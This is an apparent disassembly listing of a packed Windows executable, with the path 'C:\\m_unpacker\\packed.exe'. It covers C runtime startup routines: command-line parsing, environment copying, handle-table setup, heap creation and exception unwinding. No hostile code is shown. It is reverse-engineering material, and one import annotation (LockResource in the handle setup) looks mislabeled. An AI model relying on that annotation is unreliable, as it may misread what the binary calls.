		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_406F08
		cmp	ds:dword_406E88, edx
		push	esi
		mov	eax, offset dword_406E88
		jz	short loc_402E21
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:406E88h[esi*4]


loc_402E16:				; CODE XREF: sub_402DF4+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_402E21
		cmp	[eax], edx
		jnz	short loc_402E16


loc_402E21:				; CODE XREF: sub_402DF4+16j
					; sub_402DF4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:406E88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_402E34
		cmp	[eax], edx
		jz	short locret_402E36


loc_402E34:				; CODE XREF: sub_402DF4+3Aj
		xor	eax, eax

locret_402E36:				; CODE XREF: sub_402DF4+3Ej
		retn
sub_402DF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E37	proc near		; CODE XREF: sub_40292E+A5p
		cmp	ds:dword_4075E8, 0
		jnz	short loc_402E45
		call	sub_403D5B


loc_402E45:				; CODE XREF: sub_402E37+7j
		push	esi
		mov	esi, ds:dword_4075F8
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_402E77


loc_402E52:				; CODE XREF: sub_402E37+33j
					; sub_402E37+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_402E6F
		test	al, al
		jz	short loc_402E6F
		movzx	eax, al
		push	eax
		call	sub_403955
		test	eax, eax
		pop	ecx
		jz	short loc_402E52
		inc	esi
		jmp	short loc_402E52
; ---------------------------------------------------------------------------


loc_402E6F:				; CODE XREF: sub_402E37+21j
					; sub_402E37+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_402E81


loc_402E74:				; CODE XREF: sub_402E37+52j
		inc	esi
		jmp	short loc_402E81
; ---------------------------------------------------------------------------


loc_402E77:				; CODE XREF: sub_402E37+19j
		cmp	al, 20h
		jbe	short loc_402E81


loc_402E7B:				; CODE XREF: sub_402E37+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_402E7B


loc_402E81:				; CODE XREF: sub_402E37+3Bj
					; sub_402E37+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_402E8B
		cmp	al, 20h
		jbe	short loc_402E74


loc_402E8B:				; CODE XREF: sub_402E37+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_402E37	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E8F	proc near		; CODE XREF: sub_40292E+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4075E8, ebx
		push	esi
		push	edi
		jnz	short loc_402EA1
		call	sub_403D5B


loc_402EA1:				; CODE XREF: sub_402E8F+Bj
		mov	esi, ds:dword_4070D0
		xor	edi, edi


loc_402EA9:				; CODE XREF: sub_402E8F+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_402EC1
		cmp	al, 3Dh
		jz	short loc_402EB4
		inc	edi


loc_402EB4:				; CODE XREF: sub_402E8F+22j
		push	esi
		call	sub_402300
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_402EA9
; ---------------------------------------------------------------------------


loc_402EC1:				; CODE XREF: sub_402E8F+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_403DA6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_407104, esi
		jnz	short loc_402EE3
		push	9
		call	sub_402A24
		pop	ecx


loc_402EE3:				; CODE XREF: sub_402E8F+4Aj
		mov	edi, ds:dword_4070D0
		cmp	[edi], bl
		jz	short loc_402F26
		push	ebp


loc_402EEE:				; CODE XREF: sub_402E8F+94j
		push	edi
		call	sub_402300
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_402F1F
		push	ebp
		call	sub_403DA6
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_402F12
		push	9
		call	sub_402A24
		pop	ecx


loc_402F12:				; CODE XREF: sub_402E8F+79j
		push	edi
		push	dword ptr [esi]
		call	sub_402810
		pop	ecx
		add	esi, 4
		pop	ecx


loc_402F1F:				; CODE XREF: sub_402E8F+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_402EEE
		pop	ebp


loc_402F26:				; CODE XREF: sub_402E8F+5Cj
		push	ds:dword_4070D0
		call	sub_403D77
		pop	ecx
		mov	ds:dword_4070D0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_4075E4, 1
		pop	ebx
		retn
sub_402E8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F48	proc near		; CODE XREF: sub_40292E+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4075E8, ebx
		push	esi
		push	edi
		jnz	short loc_402F5F
		call	sub_403D5B


loc_402F5F:				; CODE XREF: sub_402F48+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:dword_405038	; GetModuleFileNameA
		mov	eax, ds:dword_4075F8
		mov	ds:off_407114, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_402F84
		mov	edi, eax


loc_402F84:				; CODE XREF: sub_402F48+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_402FE1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_403DA6
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_402FB4
		push	8
		call	sub_402A24
		pop	ecx


loc_402FB4:				; CODE XREF: sub_402F48+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_402FE1
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_4070FC, esi
		pop	edi
		pop	esi
		mov	ds:dword_4070F8, eax
		pop	ebx
		leave
		retn
sub_402F48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FE1	proc near		; CODE XREF: sub_402F48+47p
					; sub_402F48+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_40300B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_40300B:				; CODE XREF: sub_402FE1+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_403054


loc_403010:				; CODE XREF: sub_402FE1+58j
					; sub_402FE1+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_403042
		test	dl, dl
		jz	short loc_403042
		movzx	edx, dl
		test	ds:byte_4073C1[edx], 4
		jz	short loc_403035
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_403035
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_403035:				; CODE XREF: sub_402FE1+46j
					; sub_402FE1+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_403010
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_403010
; ---------------------------------------------------------------------------


loc_403042:				; CODE XREF: sub_402FE1+36j
					; sub_402FE1+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_40304C
		and	byte ptr [esi],	0
		inc	esi


loc_40304C:				; CODE XREF: sub_402FE1+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_403097
		inc	eax
		jmp	short loc_403097
; ---------------------------------------------------------------------------


loc_403054:				; CODE XREF: sub_402FE1+2Dj
					; sub_402FE1+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_40305F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_40305F:				; CODE XREF: sub_402FE1+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_4073C1[ebx], 4
		jz	short loc_40307A
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_403079
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_403079:				; CODE XREF: sub_402FE1+91j
		inc	eax


loc_40307A:				; CODE XREF: sub_402FE1+8Bj
		cmp	dl, 20h
		jz	short loc_403088
		test	dl, dl
		jz	short loc_40308C
		cmp	dl, 9
		jnz	short loc_403054


loc_403088:				; CODE XREF: sub_402FE1+9Cj
		test	dl, dl
		jnz	short loc_40308F


loc_40308C:				; CODE XREF: sub_402FE1+A0j
		dec	eax
		jmp	short loc_403097
; ---------------------------------------------------------------------------


loc_40308F:				; CODE XREF: sub_402FE1+A9j
		test	esi, esi
		jz	short loc_403097
		and	byte ptr [esi-1], 0


loc_403097:				; CODE XREF: sub_402FE1+6Ej
					; sub_402FE1+71j ...
		and	[ebp+arg_10], 0


loc_40309B:				; CODE XREF: sub_402FE1+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_403184


loc_4030A4:				; CODE XREF: sub_402FE1+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4030B0
		cmp	dl, 9
		jnz	short loc_4030B3


loc_4030B0:				; CODE XREF: sub_402FE1+C8j
		inc	eax
		jmp	short loc_4030A4
; ---------------------------------------------------------------------------


loc_4030B3:				; CODE XREF: sub_402FE1+CDj
		cmp	byte ptr [eax],	0
		jz	loc_403184
		test	edi, edi
		jz	short loc_4030C8
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4030C8:				; CODE XREF: sub_402FE1+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_4030CD:				; CODE XREF: sub_402FE1+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_4030D6:				; CODE XREF: sub_402FE1+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4030DF
		inc	eax
		inc	ebx
		jmp	short loc_4030D6
; ---------------------------------------------------------------------------


loc_4030DF:				; CODE XREF: sub_402FE1+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_403110
		test	bl, 1
		jnz	short loc_40310E
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_4030FD
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_4030FD
		mov	eax, edx
		jmp	short loc_403100
; ---------------------------------------------------------------------------


loc_4030FD:				; CODE XREF: sub_402FE1+10Dj
					; sub_402FE1+116j
		mov	[ebp+arg_0], edi


loc_403100:				; CODE XREF: sub_402FE1+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_40310E:				; CODE XREF: sub_402FE1+106j
		shr	ebx, 1


loc_403110:				; CODE XREF: sub_402FE1+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_403125
		inc	ebx


loc_403118:				; CODE XREF: sub_402FE1+142j
		test	esi, esi
		jz	short loc_403120
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_403120:				; CODE XREF: sub_402FE1+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_403118


loc_403125:				; CODE XREF: sub_402FE1+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_403175
		cmp	[ebp+arg_10], 0
		jnz	short loc_40313B
		cmp	dl, 20h
		jz	short loc_403175
		cmp	dl, 9
		jz	short loc_403175


loc_40313B:				; CODE XREF: sub_402FE1+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_40316F
		test	esi, esi
		jz	short loc_40315E
		movzx	ebx, dl
		test	ds:byte_4073C1[ebx], 4
		jz	short loc_403157
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_403157:				; CODE XREF: sub_402FE1+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_40316D
; ---------------------------------------------------------------------------


loc_40315E:				; CODE XREF: sub_402FE1+162j
		movzx	edx, dl
		test	ds:byte_4073C1[edx], 4
		jz	short loc_40316D
		inc	eax
		inc	dword ptr [ecx]


loc_40316D:				; CODE XREF: sub_402FE1+17Bj
					; sub_402FE1+187j
		inc	dword ptr [ecx]


loc_40316F:				; CODE XREF: sub_402FE1+15Ej
		inc	eax
		jmp	loc_4030CD
; ---------------------------------------------------------------------------


loc_403175:				; CODE XREF: sub_402FE1+148j
					; sub_402FE1+153j ...
		test	esi, esi
		jz	short loc_40317D
		and	byte ptr [esi],	0
		inc	esi


loc_40317D:				; CODE XREF: sub_402FE1+196j
		inc	dword ptr [ecx]
		jmp	loc_40309B
; ---------------------------------------------------------------------------


loc_403184:				; CODE XREF: sub_402FE1+BDj
					; sub_402FE1+D5j
		test	edi, edi
		jz	short loc_40318B
		and	dword ptr [edi], 0


loc_40318B:				; CODE XREF: sub_402FE1+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_402FE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_403195	proc near		; CODE XREF: sub_40292E+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_407230
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4050B8
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4031E3
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4031C4
		mov	ds:dword_407230, 1
		jmp	short loc_4031EC
; ---------------------------------------------------------------------------


loc_4031C4:				; CODE XREF: sub_403195+21j
		call	ds:dword_4050BC	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4032BE
		mov	ds:dword_407230, 2
		jmp	loc_403272
; ---------------------------------------------------------------------------


loc_4031E3:				; CODE XREF: sub_403195+19j
		cmp	eax, 1
		jnz	loc_40326D


loc_4031EC:				; CODE XREF: sub_403195+2Dj
		cmp	esi, ebx
		jnz	short loc_4031FC
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4032BE


loc_4031FC:				; CODE XREF: sub_403195+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_403211


loc_403203:				; CODE XREF: sub_403195+73j
					; sub_403195+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403203
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403203


loc_403211:				; CODE XREF: sub_403195+6Cj
		sub	eax, esi
		mov	edi, ds:dword_4050C0
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_403262
		push	ebp
		call	sub_403DA6
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_403262
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_40325E
		push	[esp+18h+var_8]
		call	sub_403D77
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_40325E:				; CODE XREF: sub_403195+B9j
		mov	ebx, [esp+18h+var_8]


loc_403262:				; CODE XREF: sub_403195+99j
					; sub_403195+A8j
		push	esi
		call	ds:dword_4050C4	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4032C0
; ---------------------------------------------------------------------------


loc_40326D:				; CODE XREF: sub_403195+51j
		cmp	eax, 2
		jnz	short loc_4032BE


loc_403272:				; CODE XREF: sub_403195+49j
		cmp	edi, ebx
		jnz	short loc_403282
		call	ds:dword_4050BC	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4032BE


loc_403282:				; CODE XREF: sub_403195+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_403292


loc_403288:				; CODE XREF: sub_403195+F6j
					; sub_403195+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403288
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403288


loc_403292:				; CODE XREF: sub_403195+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_403DA6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4032A8
		xor	esi, esi
		jmp	short loc_4032B3
; ---------------------------------------------------------------------------


loc_4032A8:				; CODE XREF: sub_403195+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_402380
		add	esp, 0Ch


loc_4032B3:				; CODE XREF: sub_403195+111j
		push	edi
		call	ds:dword_4050E8	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4032C0
; ---------------------------------------------------------------------------


loc_4032BE:				; CODE XREF: sub_403195+39j
					; sub_403195+61j ...
		xor	eax, eax


loc_4032C0:				; CODE XREF: sub_403195+D6j
					; sub_403195+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_403195	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032C7	proc near		; CODE XREF: sub_40292E+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_403DA6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4032E7
		push	1Bh
		call	sub_402A24
		pop	ecx


loc_4032E7:				; CODE XREF: sub_4032C7+16j
		mov	ds:dword_4074E0, esi
		mov	ds:dword_4075E0, 20h
		lea	eax, [esi+100h]


loc_4032FD:				; CODE XREF: sub_4032C7+52j
		cmp	esi, eax
		jnb	short loc_40331B
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_4074E0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_4032FD
; ---------------------------------------------------------------------------


loc_40331B:				; CODE XREF: sub_4032C7+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:dword_4050CC	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_4033F7
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_4033F7
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_403351
		mov	esi, eax


loc_403351:				; CODE XREF: sub_4032C7+86j
		cmp	ds:dword_4075E0, esi
		jge	short loc_4033AB
		mov	edi, offset dword_4074E4


loc_40335E:				; CODE XREF: sub_4032C7+DAj
		push	100h
		call	sub_403DA6
		test	eax, eax
		pop	ecx
		jz	short loc_4033A5
		add	ds:dword_4075E0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_40337C:				; CODE XREF: sub_4032C7+CFj
		cmp	eax, ecx
		jnb	short loc_403398
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_40337C
; ---------------------------------------------------------------------------


loc_403398:				; CODE XREF: sub_4032C7+B7j
		add	edi, 4
		cmp	ds:dword_4075E0, esi
		jl	short loc_40335E
		jmp	short loc_4033AB
; ---------------------------------------------------------------------------


loc_4033A5:				; CODE XREF: sub_4032C7+A4j
		mov	esi, ds:dword_4075E0


loc_4033AB:				; CODE XREF: sub_4032C7+90j
					; sub_4032C7+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_4033F7


loc_4033B1:				; CODE XREF: sub_4032C7+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4033EE
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_4033EE
		test	cl, 8
		jnz	short loc_4033D0
		push	eax
		call	ds:dword_4050A0	; GetFileType
		test	eax, eax
		jz	short loc_4033EE


loc_4033D0:				; CODE XREF: sub_4032C7+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4074E0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_4033EE:				; CODE XREF: sub_4032C7+EFj
					; sub_4032C7+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4033B1


loc_4033F7:				; CODE XREF: sub_4032C7+65j
					; sub_4032C7+71j ...
		xor	ebx, ebx


loc_4033F9:				; CODE XREF: sub_4032C7+195j
		mov	eax, ds:dword_4074E0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_403454
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_403414
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_40341E
; ---------------------------------------------------------------------------


loc_403414:				; CODE XREF: sub_4032C7+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_40341E:				; CODE XREF: sub_4032C7+14Bj
		push	eax
		call	ds:dword_4050A4	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403443
		push	edi
		call	ds:dword_4050A0	; GetFileType
		test	eax, eax
		jz	short loc_403443
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_403449


loc_403443:				; CODE XREF: sub_4032C7+163j
					; sub_4032C7+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_4032C7+17Aj
		cmp	eax, 3
		jnz	short loc_403458
		or	byte ptr [esi+4], 8
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_4032C7+13Ej
		or	byte ptr [esi+4], 80h


loc_403458:				; CODE XREF: sub_4032C7+180j
					; sub_4032C7+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_4033F9
		push	ds:dword_4075E0
		call	ds:dword_4050A8	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4032C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403472	proc near		; CODE XREF: sub_40292E+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_405098	; HeapCreate
		test	eax, eax
		mov	ds:dword_4074C8, eax
		jz	short loc_4034A7
		call	sub_403E1A
		test	eax, eax
		jnz	short loc_4034AA
		push	ds:dword_4074C8
		call	ds:dword_40509C	; HeapDestroy


loc_4034A7:				; CODE XREF: sub_403472+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4034AA:				; CODE XREF: sub_403472+27j
		push	1
		pop	eax
		retn
sub_403472	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034B0	proc near		; CODE XREF: sub_4035A8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4034C8
		push	[ebp+arg_0]
		call	sub_404DA8	; RtlUnwind


loc_4034C8:				; DATA XREF: sub_4034B0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4034B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034D0	proc near		; DATA XREF: sub_4034F2+Ao
					; .text:00403563o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4034F1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4034F1:				; CODE XREF: sub_4034D0+10j
		retn
sub_4034D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034F2	proc near		; CODE XREF: sub_4035A8+67p
					; sub_4035A8+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4034D0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40350F:				; CODE XREF: sub_4034F2:loc_40354Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40354C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40354C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40354A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_403586
		call	dword ptr [ebx+esi*4+8]


loc_40354A:				; CODE XREF: sub_4034F2+44j
		jmp	short loc_40350F
; ---------------------------------------------------------------------------


loc_40354C:				; CODE XREF: sub_4034F2+2Aj
					; sub_4034F2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4034F2	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4034D0
		jnz	short locret_40357C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40357C
		mov	eax, 1

locret_40357C:				; CODE XREF: .text:0040356Aj
					; .text:00403575j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_406F1C
		jmp	short loc_403590

; =============== S U B	R O U T	I N E =======================================



sub_403586	proc near		; CODE XREF: sub_4034F2+4Fp
					; sub_4035A8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_406F1C
		mov	ecx, [ebp+8]


loc_403590:				; CODE XREF: .text:00403584j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_403586	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035A8	proc near		; DATA XREF: sub_40292E+Ao
					; sub_40380C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_403648
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4035DB:				; CODE XREF: sub_4035A8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403641
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40362F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40362F
		js	short loc_40363A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4034B0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4034F2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_403586
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_40362F:				; CODE XREF: sub_4035A8+40j
					; sub_4035A8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4035DB
; ---------------------------------------------------------------------------


loc_40363A:				; CODE XREF: sub_4035A8+54j
		mov	eax, 0
		jmp	short loc_40365D
; ---------------------------------------------------------------------------


loc_403641:				; CODE XREF: sub_4035A8+36j
		mov	eax, 1
		jmp	short loc_40365D
; ---------------------------------------------------------------------------


loc_403648:				; CODE XREF: sub_4035A8+18j
		push	ebp
		lea	ebp, [ebx+10h]
